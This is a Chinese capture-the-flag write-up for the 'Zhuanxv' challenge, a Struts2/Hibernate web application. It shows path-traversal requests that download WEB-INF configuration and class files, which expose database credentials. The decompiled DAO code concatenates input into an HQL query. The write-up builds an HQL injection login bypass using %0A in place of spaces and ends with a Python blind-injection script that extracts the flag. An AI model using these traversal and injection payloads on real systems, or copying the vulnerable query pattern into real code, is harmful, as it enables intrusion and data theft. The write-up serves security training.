CTF 之Zhuanxv

拿到题目进行目录遍历发现有一个/list文件

 打开/list文件，发现是一个登录界面

 尝试过爆破，毫无疑问不可能成功。

刷新页面，抓包，然后放一个包，发现又发了一个请求。

GET /loadimage?fileName=web_login_bg.jpg HTTP/1.1

通过/loadimage?fileName=web_login_bg.jpg拿到了图片。然后尝试不同的文件格式查看，最后确定是xml格式。

既然知道了服务器的地址和请求路径，我们就通过路径访问得到项目的xml配置文件，于是构造payload： 

/loadimage?fileName=../../WEB-INF/web.xml

 是个下载文件，bg.jpg。

javaweb项目的特点，那么java项目就有一个特点了/WEB-INF/web.xml这是肯定存在的。

将其改成xml文件，查看源码

<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_9" version="2.4"
         xmlns="http://java.sun.com/xml/ns/j2ee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
    <display-name>Struts Blank</display-name>
    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
    <welcome-file-list>
        <welcome-file>/ctfpage/index.jsp</welcome-file>
    </welcome-file-list>
    <error-page>
        <error-code>404</error-code>
        <location>/ctfpage/404.html</location>
    </error-page>
</web-app>

可以看到，该项目使用的struts2框架，struts.xml是struts2的核心配置文件，该文件主要负责管理应用中的Action映射，以及该Action包含的Result定义等，因此我们需要读取struts.xml看看，构造payload：

/loadimage?fileName=../../WEB-INF/classes/struts.xml

 又得到一个jpg文件，改成xml文件

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
        "http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
	<constant name="strutsenableDynamicMethodInvocation" value="false"/>
    <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
    <constant name="struts.action.extension" value=","/>
    <package name="front" namespace="/" extends="struts-default">
        <global-exception-mappings>
            <exception-mapping exception="java.lang.Exception" result="error"/>
        </global-exception-mappings>
        <action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
            <result name="error">/ctfpage/login.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
        <action name="loadimage" class="com.cuitctf.action.DownloadAction">
            <result name="success" type="stream">
                <param name="contentType">image/jpeg</param>
                <param name="contentDisposition">attachment;filename="bg.jpg"</param>
                <param name="inputName">downloadFile</param>
            </result>
            <result name="suffix_error">/ctfpage/welcome.jsp</result>
        </action>
    </package>
    <package name="back" namespace="/" extends="struts-default">
        <interceptors>
            <interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
            <interceptor-stack name="userAuth">
                <interceptor-ref name="defaultStack" />
                <interceptor-ref name="oa" />
            </interceptor-stack>

        </interceptors>
        <action name="list" class="com.cuitctf.action.AdminAction" method="execute">
            <interceptor-ref name="userAuth">
                <param name="excludeMethods">
                    execute
                </param>
            </interceptor-ref>
            <result name="login_error">/ctfpage/login.jsp</result>
            <result name="list_error">/ctfpage/welcome.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
    </package>
</struts>

看到有很多class，这就是所谓的映射文件，如 表示访问loadimage路径时候，会去找字节码com.cuitctf.action.DownloadAction文件去加载内容，我们构造payload：

/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/DownloadAction.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/AdminAction.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/UserOAuth.class

 下载下来后请记得修改文件名称.class，然后在IDEA使用decompiler插件进行反编译，挨个查看后，发现UserLoginAction.class反编译出来的内容与登录页面最为相关

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.cuitctf.action;

import com.cuitctf.po.User;
import com.cuitctf.service.UserService;
import com.cuitctf.util.InitApplicationContext;
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.ActionSupport;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.springframework.context.ApplicationContext;

public class UserLoginAction extends ActionSupport {
    private UserService userService;
    private User user;

    public UserLoginAction() {
        ApplicationContext context = InitApplicationContext.getApplicationContext();
        this.userService = (UserService)context.getBean("userService");
    }

    public String execute() throws Exception {
        System.out.println("start:" + this.user.getName());
        ActionContext actionContext = ActionContext.getContext();
        Map<String, Object> request = (Map)actionContext.get("request");

        try {
            if (!this.userCheck(this.user)) {
                request.put("error", "登录失败，请检查用户名和密码");
                System.out.println("登陆失败");
                return "error";
            }
        } catch (Exception var4) {
            var4.printStackTrace();
            throw var4;
        }

        System.out.println("login SUCCESS");
        ActionContext.getContext().getSession().put("user", this.user);
        return "success";
    }

    public boolean isValid(String username) {
        String valiidateString = "[a-zA-Z0-9]{1-16}";
        return matcher(valiidateString, username);
    }

    private static boolean matcher(String reg, String string) {
        boolean tem = false;
        Pattern pattern = Pattern.compile(reg);
        Matcher matcher = pattern.matcher(string);
        tem = matcher.matches();
        return tem;
    }

    public boolean userCheck(User user) {
        List<User> userList = this.userService.loginCheck(user.getName(), user.getPassword());
        if (userList != null && userList.size() == 1) {
            return true;
        } else {
            this.addActionError("Username or password is Wrong, please check!");
            return false;
        }
    }

    public UserService getUserService() {
        return this.userService;
    }

    public void setUserService(UserService userService) {
        this.userService = userService;
    }

    public User getUser() {
        return this.user;
    }

    public void setUser(User user) {
        this.user = user;
    }
}

 其中引入了重要的几个包，因此构造payload，拿到源码：

/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/po/User.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/UserService.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/InitApplicationContext.class

 User.class反编译后是一个Bean文件，UserLoginAction.class反编译后是登录验证逻辑文件，InitApplicationContext.class反编译后是类加载器文件

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.cuitctf.util;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class InitApplicationContext {
    private static ApplicationContext context = null;

    private InitApplicationContext() {
    }

    public static ApplicationContext getApplicationContext() {
        if (context == null) {
            context = new ClassPathXmlApplicationContext("applicationContext.xml");
        }

        return context;
    }
}

 加载应用的xml配置文件为applicationContext.xml，该文件一般是项目的启动配置文件，包括数据库等，同样构造payload，如下：

/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml

下载后可以得到文件代码，如下 

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
        <property name="driverClassName">
            <value>com.mysql.jdbc.Driver</value>
        </property>
        <property name="url">
            <value>jdbc:mysql://localhost:3306/sctf</value>
        </property>
        <property name="username" value="root"/>
        <property name="password" value="root" />
    </bean>
    <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
        <property name="dataSource">
            <ref bean="dataSource"/>
        </property>
        <property name="mappingLocations">
            <value>user.hbm.xml</value>
        </property>
        <property name="hibernateProperties">
            <props>
                <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
                <prop key="hibernate.show_sql">true</prop>
            </props>
        </property>
    </bean>
    <bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
        <property name="transactionManager">
            <ref bean="transactionManager"/>
        </property>
        <property name="transactionAttributes">
            <props>
                <prop key="add">PROPAGATION_REQUIRED</prop>
                <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
            </props>
        </property>
    </bean>
    <bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
        <property name="hibernateTemplate">
            <ref bean="hibernateTemplate"/>
        </property>
    </bean>
    <bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
        <property name="userDao">
            <ref bean="userDAO"/>
        </property>
    </bean>
</beans>

其中暴露了使用的数据库，数据库账号密码，且其中包含了user.hbm.xml等配置文件，同样我们将其下载出来 

/loadimage?fileName=../../WEB-INF/classes/user.hbm.xml
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/impl/UserServiceImpl.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/dao/impl/UserDaoImpl.class

<?xml version="1.0"?>
<!DOCTYPE hibernate-mapping PUBLIC
        "-//Hibernate/Hibernate Mapping DTD 3.0//EN"
        "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
<hibernate-mapping package="com.cuitctf.po">
    <class name="User" table="hlj_members">
        <id name="id" column="user_id">
            <generator class="identity"/>
        </id>
        <property name="name"/>
        <property name="password"/>
    </class>
    <class name="Flag" table="bc3fa8be0db46a3610db3ca0ec794c0b">
        <id name="flag" column="welcometoourctf">
            <generator class="identity"/>
        </id>
        <property name="flag"/>
    </class>
</hibernate-mapping>

 UserServiceImpl.class反编译后，是对登录信息进行了过滤

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.cuitctf.service.impl;

import com.cuitctf.dao.UserDao;
import com.cuitctf.po.User;
import com.cuitctf.service.UserService;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class UserServiceImpl implements UserService {
    private UserDao userDao;

    public UserServiceImpl() {
    }

    public UserDao gerUserDao() {
        return this.userDao;
    }

    public void setUserDao(UserDao userDao) {
        this.userDao = userDao;
    }

    public List<User> findUserByName(String name) {
        return this.userDao.findUserByName(name);
    }

    public List<User> loginCheck(String name, String password) {
        name = name.replaceAll(" ", "");
        name = name.replaceAll("=", "");
        Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name);
        Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(password);
        return password_matcher.find() ? this.userDao.loginCheck(name, password) : null;
    }
}

 UserDaoImpl.class反编译后，是对登录的sql查找

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.cuitctf.dao.impl;

import com.cuitctf.dao.UserDao;
import com.cuitctf.po.User;
import java.util.List;
import org.springframework.orm.hibernate3.support.HibernateDaoSupport;

public class UserDaoImpl extends HibernateDaoSupport implements UserDao {
    public UserDaoImpl() {
    }

    public List<User> findUserByName(String name) {
        return this.getHibernateTemplate().find("from User where name ='" + name + "'");
    }

    public List<User> loginCheck(String name, String password) {
        return this.getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
    }
}

上面的sql语句使用HSQL，什么是HSQL，参考https://www.cnblogs.com/fengyouheng/p/11013013.html。因此构造登录账号密码：

from User where name ='admin' or '1'>'0' or name like 'admin' and password = '" + password + "'

UserServiceImpl.class反编译后代码中是对空格进行了过滤，而sql中对回车自动过滤， 因此我们可以将空格字符换成%0A（ascii码表示换行符）。于是使用hackbar进行翻译，得到新的注入sql的payload：

admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin

因此用户名：admin’%0Aor%0A’1’>‘0’%0Aor%0Aname%0Alike%0A’admin
密码：随意

这里登录不能使用post传输，所以我们所以hackbar关掉post，直接加后面作payload

/zhuanxvlogin?user.name=admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin
&user.password=123#

 很可惜进来了还是没有一点线索。。。。。

最终只能考大佬的脚本了

import requests

s = requests.session()

flag = ''
for i in range(1, 50):
    p = ''
    for j in range(1, 255):
        # (select ascii(substr(id, "+str(i)+", 1)) from Flag where id < 2) < '
        payload = "(select%0Aascii(substr(id," + str(i) + ",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'" + str(j) + "'"
        # print payload
        url = "http://61.147.171.105:50156/zhuanxvlogin?user.name=admin'%0Aor%0A" + payload + "%0Aor%0Aname%0Alike%0A'admin&user.password=123"
        r1 = s.get(url)
        if len(r1.text) > 20000 and p != '':
            flag += p
            #print(i, flag)
            break
        p = chr(j)
print(flag)

 
sctf{C46E250926A2DFFD831975396222B08E}